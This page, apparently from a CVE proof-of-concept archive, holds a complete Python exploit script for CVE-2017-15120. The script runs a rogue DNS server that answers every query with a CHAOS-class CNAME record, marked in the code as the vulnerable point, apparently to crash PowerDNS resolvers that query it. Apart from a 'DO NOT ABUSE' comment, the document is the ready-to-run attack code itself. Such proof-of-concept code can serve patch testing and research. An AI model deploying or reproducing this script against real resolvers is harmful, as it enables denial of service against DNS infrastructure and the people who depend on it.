4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2017-15120.py PY
#!/usr/local/bin/python3.6
#CVE-2017-15120 exploit.
#DO NOT ABUSE !!!

import socket

#pip install dnslib
from dnslib import RR, DNSHeader, DNSRecord, QTYPE, CNAME, CLASS


class PDNSKiller():

    def __init__(self, ipaddr):
        self.host = ipaddr
        self.port = 53

    def run(self):
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.bind((self.host, self.port))

        print("PDNS Killer Started.")

        while True:
            msg, (cliHost, cliPort) = sock.recvfrom(8096)
            print("Received DNS Packet. Client:" + str(cliHost) + ":" + str(cliPort))
            responseData = self.craftPayload(msg)

            if responseData is not None:
                sock.sendto(responseData, (cliHost, cliPort))

    def craftPayload(self, msg):

        query = DNSRecord.parse(msg)
        response = query.reply()

        qname = self.getQname(query)
        cnamerr = RR(qname, QTYPE.CNAME, ttl=60, rdata=CNAME("example.com."))

        #vuln point.
        cnamerr.rclass = CLASS.CH

        response.add_answer(cnamerr)

        if response.__class__.__name__ == "DNSRecord":
            print("===============================")
            print(response)
            print("===============================")
            return response.pack()
        else:
            return None

    def getQname(self, query):
        return str(query.q.qname)


if __name__ == '__main__':
    srv = PDNSKiller("0.0.0.0")
    srv.run()